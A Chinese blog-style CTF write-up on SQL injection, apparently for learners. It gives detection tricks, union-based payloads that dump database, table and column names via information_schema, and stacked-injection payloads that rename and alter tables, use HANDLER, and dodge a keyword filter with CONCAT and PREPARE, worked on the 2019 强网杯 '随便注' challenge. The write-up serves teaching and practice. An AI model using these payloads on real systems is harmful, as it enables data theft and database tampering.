CTF赛事之SQL注入(一篇让你认识它)

15:29:48下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。

二话不说,先加单引号、双引号、单括号、双括号等看看是否报错,如果报错就肯定存在SQL注入漏洞了。

还有在URL后面加and 1=1 、 and 1=2看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

尝试sql注入猜字段(实列讲解,猜测):

1' order by 3# 返回正常

1' order by 4# 错误

1' union select 1,2,3#

爆数据库名:

1' union select 1,database(),3#

爆表名:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news"#

爆列名:

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

读数据:

1' union select 1,fl4g,3 from secret_table#

so easy!!!

总结流程:

1.寻找注入点(基于报错、基于布尔值、基于时间盲注、基于联合查询)

2.判断是注入点之后丢sqlmap或者选择手工注入

3.手工注入的话爆出当前数据库名(如果盲注的话使用二分法猜解)

4.猜解表名

5.猜解字段名

6.猜解数据

然后学习刷题深入(堆叠注入):

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);         #关键字都被过滤标志

利用堆叠注入,查询所有数据库:1';show databases;#

查询所有表:1';show tables;#

查询表中所有列:1';show columns from words;#

查询表中所有列:1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)

因发现过滤标志但没有禁用rename和alert。  so呢?  采用修改表结构的方法来得到flag 

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id

(太麻烦吗。有点哦!换一种方法:使用handler查询,payload如下:-1';handler `1919810931114514` open;handler `1919810931114514` read first;#)

oh my god!

到此为止了吗? 不不不,look down:

2019强网杯"随便注"学习:

啥东西?看不懂啊! 看看百度叭.....(网络如此强大,要学会利用)

1. 探测有无注入

2. 尝试获取列数

3. 尝试获取数据库名,用户等基本信息:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #好吧,又被过滤了


1. 接下来我们尝试堆叠注入能否可行。

-1';show tables#                   原来如此!!!(还是尝试出来的,太难了)

2. 堆叠注入可行,然后看一下表的字段

3. 查数据    上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。

select * from `1919810931114514`;(select被过滤了,想办法叭)


4.构造payload:-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

15:18:59

先到这叭,后续更新...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值